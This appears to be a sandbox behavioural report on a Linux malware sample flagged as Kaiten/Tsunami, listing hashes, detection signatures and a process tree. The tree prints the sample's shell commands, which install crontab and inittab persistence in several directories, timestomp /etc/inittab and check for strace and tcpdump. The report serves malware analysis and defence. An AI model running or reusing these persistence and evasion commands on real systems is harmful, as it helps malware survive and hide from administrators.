Analysis
- max time kernel
2s - max time network
129s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
27/07/2026, 00:26
Behavioral task
behavioral1
Sample
pty3
Resource
ubuntu1804-amd64-20260513-en
10 signatures
150 seconds
General
- Target pty3
- Size 47KB
- Sample260727-arn5rstckd
- SHA256 0d762c8cbba56cd827c0dc710688d7410840940b9994020b8e365b63d3ff316c
- MD5 b24c8affd984bc47b7a6c5bd11e58b16
- SHA1 cf93381bb17a8e4d82f9184efd10cf1da60986ca
- SHA512 9f31b32ca7da165a99353aee51378d2c1ba0122f47fd0ad09ebaabd1a8477815d99fdc3ff7d6bc0ed2c423be56b217f0695d8744a89ec21e99b59b35b84f1364
- SSDEEP 768:m3QPPFqEChAfmWegsbs6NBFRmU779+AMaE0ygNWthDpXDGsHBUlJvsRDEsdSvnZt:v1COips6bFRmU7Z4aE0ygNWtJNasHMOs
- TLSH T1C723F23B68B656D1D3B5D6FDE97E0AA0F9A1E00925A333415AE03CDC2139CB4055BFB2
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects Kaiten/Tsunami Payload 1 IoCs
resource yara_rule behavioral1/memory/1468-1-0x0000000000400000-0x000000000051add0-memory.dmp family_kaiten_v3 - Creates/modifies Cron job 1 TTPs 5 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.0hgR9y crontab File opened for modification /var/spool/cron/crontabs/tmp.x7GlLb crontab File opened for modification /var/spool/cron/crontabs/tmp.GNIX6i crontab File opened for modification /var/spool/cron/crontabs/tmp.QiABao crontab File opened for modification /var/spool/cron/crontabs/tmp.6Q85xt crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Indicator Removal: Timestomp 1 TTPs 10 IoCs
Adversaries may remove indicators of compromise from the host to evade detection.
pid Process 1563 sh 1584 touch 1500 touch 1544 touch 1564 touch 1583 sh 1499 sh 1523 sh 1524 touch 1543 sh -
resource yara_rule behavioral1/files/fstream-8.dat upx - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself cuhlunclnd503lbg5m00ijcl 1468 pty3 -
description ioc Process File opened for reading /proc/459/cmdline pidof File opened for reading /proc/1144/cmdline pidof File opened for reading /proc/82/cmdline pidof File opened for reading /proc/900/stat pidof File opened for reading /proc/1078/stat pidof File opened for reading /proc/633/stat pidof File opened for reading /proc/2/stat pidof File opened for reading /proc/430/cmdline pidof File opened for reading /proc/565/cmdline pidof File opened for reading /proc/892/cmdline pidof File opened for reading /proc/1020/stat pidof File opened for reading /proc/30/cmdline pidof File opened for reading /proc/485/cmdline pidof File opened for reading /proc/465/stat pidof File opened for reading /proc/485/stat pidof File opened for reading /proc/81/cmdline pidof File opened for reading /proc/520/cmdline pidof File opened for reading /proc/711/cmdline pidof File opened for reading /proc/989/cmdline pidof File opened for reading /proc/989/stat pidof File opened for reading /proc/filesystems cp File opened for reading /proc/29/stat pidof File opened for reading /proc/31/cmdline pidof File opened for reading /proc/650/stat pidof File opened for reading /proc/1080/stat pidof File opened for reading /proc/633/cmdline pidof File opened for reading /proc/34/stat pidof File opened for reading /proc/667/cmdline pidof File opened for reading /proc/1012/stat pidof File opened for reading /proc/1229/stat pidof File opened for reading /proc/693/stat pidof File opened for reading /proc/22/cmdline pidof File opened for reading /proc/543/stat pidof File opened for reading /proc/1083/cmdline pidof File opened for reading /proc/1293/cmdline pidof File opened for reading /proc/478/stat pidof File opened for reading /proc/588/cmdline pidof File opened for reading /proc/462/cmdline pidof File opened for reading /proc/430/cmdline pidof File opened for reading /proc/6/stat pidof File opened for reading /proc/406/stat pidof File opened for reading /proc/651/stat pidof File opened for reading /proc/1236/stat pidof File opened for reading /proc/1133/cmdline pidof File opened for reading /proc/203/stat pidof File opened for reading /proc/16/stat pidof File opened for reading /proc/168/stat pidof File opened for reading /proc/939/cmdline pidof File opened for reading /proc/1290/cmdline pidof File opened for reading /proc/1075/cmdline pidof File opened for reading /proc/163/stat pidof File opened for reading /proc/527/stat pidof File opened for reading /proc/900/cmdline pidof File opened for reading /proc/1083/stat pidof File opened for reading /proc/1435/cmdline pidof File opened for reading /proc/660/stat pidof File opened for reading /proc/160/cmdline pidof File opened for reading /proc/172/cmdline pidof File opened for reading /proc/565/stat pidof File opened for reading /proc/1066/cmdline pidof File opened for reading /proc/78/cmdline pidof File opened for reading /proc/665/stat pidof File opened for reading /proc/952/stat pidof File opened for reading /proc/1332/cmdline pidof - Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc Process File opened for modification /dev/shm/pty3 cp - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bawtz pty3
Processes
-
/tmp/pty3/tmp/pty31⤵
- Changes its process name
- Writes file to tmp directory
PID:1468 -
/bin/shsh -c "pidof -x strace > /dev/null"2⤵PID:1469
-
/bin/pidofpidof -x strace3⤵
- Reads runtime system information
PID:1470
-
-
-
/bin/shsh -c "pidof -x tcpdump > /dev/null"2⤵PID:1473
-
/bin/pidofpidof -x tcpdump3⤵
- Reads runtime system information
PID:1474
-
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/pty3\" > /etc/inittab2"2⤵PID:1482
-
/bin/catcat /etc/inittab3⤵PID:1485
-
-
/bin/grepgrep -v /tmp/pty33⤵PID:1486
-
-
-
/bin/shsh -c "crontab -l | grep /tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1483
-
/bin/grepgrep -v "no cron"3⤵PID:1490
-
-
/bin/grepgrep /tmp/pty33⤵PID:1488
-
-
/usr/bin/crontabcrontab -l3⤵PID:1487
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1493
-
-
/usr/bin/crontabcrontab -l3⤵PID:1494
-
-
-
/bin/shsh -c "crontab -r"2⤵PID:1484
-
/usr/bin/crontabcrontab -r3⤵PID:1489
-
-
-
/bin/shsh -c "echo \"0:2345:respawn:/tmp/pty3\" >> /etc/inittab2"2⤵PID:1491
-
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1495
-
/bin/catcat /etc/inittab23⤵PID:1496
-
-
-
/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1497
-
/bin/rmrm -rf /etc/inittab23⤵PID:1498
-
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1499 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1500
-
-
-
/bin/shsh -c "/bin/uname -n"2⤵PID:1503
-
/bin/uname/bin/uname -n3⤵PID:1505
-
-
-
/bin/shsh -c "cp -f /tmp/pty3 /dev/shm/pty3"2⤵PID:1504
-
/bin/cpcp -f /tmp/pty3 /dev/shm/pty33⤵
- Writes file to shm directory
PID:1506
-
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/pty3\" > /etc/inittab2"2⤵PID:1508
-
/bin/catcat /etc/inittab3⤵PID:1510
-
-
/bin/grepgrep -v /dev/shm/pty33⤵PID:1511
-
-
-
/bin/shsh -c "crontab -l | grep /dev/shm/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1509
-
/usr/bin/crontabcrontab -l3⤵PID:1512
-
-
/bin/grepgrep -v "no cron"3⤵PID:1514
-
-
/bin/grepgrep /dev/shm/pty33⤵PID:1513
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1518
-
-
/usr/bin/crontabcrontab -l3⤵PID:1519
-
-
-
/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/pty3\" >> /etc/inittab2"2⤵PID:1515
-
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1516
-
/bin/catcat /etc/inittab23⤵PID:1520
-
-
-
/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1521
-
/bin/rmrm -rf /etc/inittab23⤵PID:1522
-
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1523 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1524
-
-
-
/bin/shsh -c "cp -f /tmp/pty3 /var/tmp/pty3"2⤵PID:1525
-
/bin/cpcp -f /tmp/pty3 /var/tmp/pty33⤵
- Reads runtime system information
PID:1526
-
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/pty3\" > /etc/inittab2"2⤵PID:1528
-
/bin/grepgrep -v /var/tmp/pty33⤵PID:1531
-
-
/bin/catcat /etc/inittab3⤵PID:1530
-
-
-
/bin/shsh -c "crontab -l | grep /var/tmp/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1529
-
/bin/grepgrep -v "no cron"3⤵PID:1534
-
-
/usr/bin/crontabcrontab -l3⤵PID:1532
-
-
/bin/grepgrep /var/tmp/pty33⤵PID:1533
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1538
-
-
/usr/bin/crontabcrontab -l3⤵PID:1540
-
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/pty3\" >> /etc/inittab2"2⤵PID:1535
-
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1536
-
/bin/catcat /etc/inittab23⤵PID:1539
-
-
-
/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1541
-
/bin/rmrm -rf /etc/inittab23⤵PID:1542
-
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1543 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1544
-
-
-
/bin/shsh -c "cp -f /tmp/pty3 /var/lock/pty3"2⤵PID:1545
-
/bin/cpcp -f /tmp/pty3 /var/lock/pty33⤵PID:1546
-
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/pty3\" > /etc/inittab2"2⤵PID:1548
-
/bin/grepgrep -v /var/lock/pty33⤵PID:1551
-
-
/bin/catcat /etc/inittab3⤵PID:1550
-
-
-
/bin/shsh -c "crontab -l | grep /var/lock/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1549
-
/bin/grepgrep -v "no cron"3⤵PID:1554
-
-
/bin/grepgrep /var/lock/pty33⤵PID:1553
-
-
/usr/bin/crontabcrontab -l3⤵PID:1552
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1558
-
-
/usr/bin/crontabcrontab -l3⤵PID:1560
-
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/lock/pty3\" >> /etc/inittab2"2⤵PID:1555
-
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1556
-
/bin/catcat /etc/inittab23⤵PID:1559
-
-
-
/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1561
-
/bin/rmrm -rf /etc/inittab23⤵PID:1562
-
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1563 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1564
-
-
-
/bin/shsh -c "cp -f /tmp/pty3 /var/run/pty3"2⤵PID:1565
-
/bin/cpcp -f /tmp/pty3 /var/run/pty33⤵PID:1566
-
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/pty3\" > /etc/inittab2"2⤵PID:1568
-
/bin/grepgrep -v /var/run/pty33⤵PID:1571
-
-
/bin/catcat /etc/inittab3⤵PID:1570
-
-
-
/bin/shsh -c "crontab -l | grep /var/run/pty3 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty3 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1569
-
/bin/grepgrep -v "no cron"3⤵PID:1574
-
-
/usr/bin/crontabcrontab -l3⤵PID:1572
-
-
/bin/grepgrep /var/run/pty33⤵PID:1573
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1578
-
-
/usr/bin/crontabcrontab -l3⤵PID:1580
-
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/run/pty3\" >> /etc/inittab2"2⤵PID:1575
-
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1576
-
/bin/catcat /etc/inittab23⤵PID:1579
-
-
-
/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1581
-
/bin/rmrm -rf /etc/inittab23⤵PID:1582
-
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1583 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1584
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /dev/shm/pty3
- Size 47KB
- SHA256 0d762c8cbba56cd827c0dc710688d7410840940b9994020b8e365b63d3ff316c
- MD5 b24c8affd984bc47b7a6c5bd11e58b16
- SHA1 cf93381bb17a8e4d82f9184efd10cf1da60986ca
- SHA512 9f31b32ca7da165a99353aee51378d2c1ba0122f47fd0ad09ebaabd1a8477815d99fdc3ff7d6bc0ed2c423be56b217f0695d8744a89ec21e99b59b35b84f1364
- SSDEEP 768:m3QPPFqEChAfmWegsbs6NBFRmU779+AMaE0ygNWthDpXDGsHBUlJvsRDEsdSvnZt:v1COips6bFRmU7Z4aE0ygNWtJNasHMOs
- TLSH T1C723F23B68B656D1D3B5D6FDE97E0AA0F9A1E00925A333415AE03CDC2139CB4055BFB2
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /etc/inittab
- Size 83B
- SHA256 0a4eb5870807ef4406d093845baf96e7f8cc59effda08f32a4d73d489264d11a
- MD5 6665b7449ec290b0dd8d4d18c402d000
- SHA1 35f738f53b07e9a2a67ffc577888d42a180a48f0
- SHA512 ac4ad3cb5a7643a0c6f3efa942b31fe6d8f1527550d3e4992d1392f833c888fd3965ea71301e790943143ebaf7870ac623232253c85bb99b3e10c6163cd03a9f
- TLSH T104A00103F0712DAC91F0A1AA1A14018A82439700D6874B18C6433E72D208F0BBD75026
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab
- Size 113B
- SHA256 247ae0a8c28f9e39397c45a9e586b8b2c371878cf8814f9cf41c76aa05939552
- MD5 582c739181f12796f80db1f6ea7f916a
- SHA1 7c645a1c9a0de591d0b6a5b6682aa0d7dac9786f
- SHA512 8d6c2678e3eeb34094507622578f4acd36952a18374244a109c899a30ddbc1193943941fd697a6739994326fe700d43b031b24d8114e80c7cf5698b82d26c972
- TLSH T1A6B00207F4711DBC91F4A5AA1E54019A82435700D5474B18C5477D72D208F0B7D75166
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 54B
- SHA256 e5018fad1758921486984b6c0d39050ec65f06908d99387dc15363ca5557c581
- MD5 ffcc9669bca82a891cd1913d74957256
- SHA1 fc608c695927cfc3b8bd3d5e6fc7a28bdc04942d
- SHA512 4510b7b1eb8727ae6ba851908ac4fce20febb42c095cbf5b29c5acef7081fe0afa21a855eebb88d40668b330c69086dc1f07ead708b23fe0747215c3677beb19
- TLSH T1C3900203F0501D1C91B0A0990A00018582035700D5870B1881432D72D208F0B7D74002
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 142B
- SHA256 bf7a744dcb866fe6c59f07c77d2b579c84b057f79321028b6b45320e4f6a2eed
- MD5 5ff9d0108fcfd3fe6d507a5c71471ff7
- SHA1 dc713d40f4f57f8c428c4e69d8773ce4baa39299
- SHA512 ffca8f8bac306f7910a8d62ab68083ae78206bdbb7efcd4aaeb5bbf7a0bb56841fa70e359daf3954912c649779e409284c40e5ad3c7e562fe04c359c038bb834
- TLSH T151C04803F0322CBC84F0A2EA0E28008A82834300D1438B08C9073D72C208F0B7C7002A
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 25B
- SHA256 bf305607b10a91ee18ceef3ca7843f016eba8e25cfaa8c4bb88ae79c2c06f561
- MD5 d2bfd916c7f8e566ced31a47803f8b64
- SHA1 03a323e7ff70c521402bca605ed8d600ebd02320
- SHA512 2ddb3235d48a0c3111f8e37faa45e2e908c9876789e429fd252fd81fad5242f2bb0c1ab1c32aac0036b9c7608d8f0431812319d6102afd60b172a343e439985b
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/tmp.0hgR9y
- Size 387B
- SHA256 23e2d97b2f652590c6a384c311d7033975f858591ea2660c9fe6f6f4a8c8fbad
- MD5 67f62a2b515ee3bd85b9fe1d3ef68a15
- SHA1 5f83b87f28b7a9b6309b8bcd3b00ef4c3634333f
- SHA512 1cd7c3b4be065a50fba3279818ee5d629884a23bdb2c4d502a0b2ee507d552903ee10bc2170556909a829e943219a8ca92447d0ac3dd827afb53afb694fbc9ff
- TLSH T1C5E04F38BBB12CE53D988A7C189F71D51BC3792A802D6E80F1DE6A20954D30FF640AB0
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.6Q85xt
- Size 344B
- SHA256 75481185ad23689a96873521a0eea04566027b32b475209bafb342b5616489c7
- MD5 1fb2255ab4474f2397598650a1b6d898
- SHA1 a023db92a32c3818bb6a415107cf602c4ec8f8e7
- SHA512 04c0aa4740b19e86298841ff33f67f79b993e4149040aec389d5fa0e67d7c576efad9cc7fdc7f07b7b5397f7c82bc354c569bc115b8d85b29fff0ddc1677f73c
- TLSH T18BE086387B712CE539984A78189F71D51BC3752A802D6E80F1DE6520914D30FF640AB0
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.GNIX6i
- Size 257B
- SHA256 bd6a950f83052474eb34c3e06f62f5d452c6cd3e9f411e9f0cff772e971cf49f
- MD5 4e651101e8feb9a93f6fbe8edb747faf
- SHA1 3acdec405f072bd4e2da3b5b1cd518c26aef438c
- SHA512 47f6cfccc7595b3faebefca1026bef6d60fa47a6ddc15f1eba1d5df4d363d06ffbf5fd3d0a78937856e350085349a632dd1f88be3c50725d713244e624ef59a6
- TLSH T198D05E397B602C703A184A28199B21D95B83B56A801E6E90F1DE1524824D74FB690971
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.QiABao
- Size 300B
- SHA256 e2592c38cb437e1362d13267797c9a2767eabd042d86a4cd65a1ed0277a5a14b
- MD5 de562663c49d8f0b676b5675f3c442fc
- SHA1 8f8038cdf3070c7f53a1620dfd7b5db564946e4a
- SHA512 50b2d9bdf5a39fc82515b77abc028b66391fe997a041184da51f8ee1dd1f553a5fba834dda459f228a9e2cec12b040b1b2703b68dd4836201062e7d959fe9f37
- TLSH T155E0C2387B702CA039584A38189F21C51B83B52A802D6E80F1DE1520814D30FF640970
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.x7GlLb
- Size 214B
- SHA256 36ad8e5699e784c58e0affe35351b8eaa4013ee064cd5aaa1a9a2cea0bcd6fc5
- MD5 513bea9680759a3688827392fabeb1e8
- SHA1 aca5be33301b0fa9843317d21fb2ab4ea990c424
- SHA512 46bcf16a124eace3644a5aa0a0bc6e727f5888b3a26dfb21b3c6252dfd2b8cb0336c4863778f0013bdd7bb0561959d39fd4afa236fb891ab09f08fbf6cc3b816
- TLSH T117D0223D3F303C302E180B18249F22995A82B07FC00EAE80E2ED1424420E34FBB80D71
- MD5 SHA1 SHA512 TLSH